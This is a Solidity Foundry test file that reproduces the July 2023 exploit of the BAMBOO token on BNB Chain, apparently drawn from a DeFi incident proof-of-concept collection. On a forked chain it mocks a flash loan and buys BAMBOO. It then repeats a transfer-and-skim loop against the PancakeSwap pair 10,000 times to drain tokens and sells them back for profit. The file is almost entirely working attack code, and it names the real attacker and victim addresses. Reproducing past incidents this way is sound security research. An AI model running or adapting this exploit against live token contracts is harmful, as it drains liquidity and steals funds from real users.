src/test/2023-07/Bamboo_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~200BNB
8// Attacker : 0x00703face6621bd207d3b4ac9867058190c0bb09
9// Attack Contract : 0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc
10// Vulnerable Contract : 0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10
12// Block: 29668034
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94
16 
17// @Analysis
18// Post-mortem : https://twitter.com/Phalcon_xyz/status/1676220090142916611
19 
20// @POC Author : https://twitter.com/eugenioclrc
21 
22contract BambooTest is Test {
23    IERC20 wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
24    IERC20 bamboo = IERC20(0xED56784bC8F2C036f6b0D8E04Cb83C253e4a6A94);
25 
26    IPancakePair wbnbBambooPair = IPancakePair(0x0557713d02A15a69Dea5DD4116047e50F521C1b1);
27    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28    IUniswapV2Factory factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
29 
30    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 
32    function setUp() public {
33        cheats.createSelectFork("bsc", 29_668_034);
34 
35        vm.label(address(wbnb), "WBNB");
36        vm.label(address(bamboo), "BAMBOO");
37        vm.label(address(router), "PancakeRouter");
38    }
39 
40    function toEth(
41        uint256 _wei
42    ) internal returns (string memory) {
43        string memory eth = vm.toString(_wei / 1 ether);
44        string memory decs = vm.toString(_wei % 1 ether);
45 
46        string memory result = string.concat(string.concat(eth, "."), decs);
47 
48        return result;
49    }
50 
51    function testExploit() public {
52        // get a flash loan (lets mock it out)
53        deal(address(wbnb), address(this), 4000 ether);
54 
55        console.log("start balance after flashloan", toEth(wbnb.balanceOf(address(this))));
56 
57        uint256 bambooBalance = bamboo.balanceOf(address(wbnbBambooPair));
58 
59        address[] memory path;
60        path = new address[](2);
61        path[0] = address(wbnb);
62        path[1] = address(bamboo);
63        uint256[] memory amounts = router.getAmountsIn(bambooBalance * 9 / 10, path);
64 
65        wbnb.approve(address(router), type(uint256).max);
66        router.swapExactTokensForTokens(amounts[1], 0, path, address(this), block.timestamp);
67 
68        uint256 max = 10_000;
69        for (uint256 i; i < max; ++i) {
70            bamboo.transfer(address(wbnbBambooPair), 1_343_870_967_101_818_317);
71            wbnbBambooPair.skim(address(this));
72        }
73 
74        path[0] = address(bamboo);
75        path[1] = address(wbnb);
76        bamboo.approve(address(router), type(uint256).max);
77 
78        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
79            bamboo.balanceOf(address(this)), 0, path, address(this), block.timestamp
80        );
81 
82        console.log("profit after return flashloan", toEth(wbnb.balanceOf(address(this)) - 4000 ether));
83    }
84}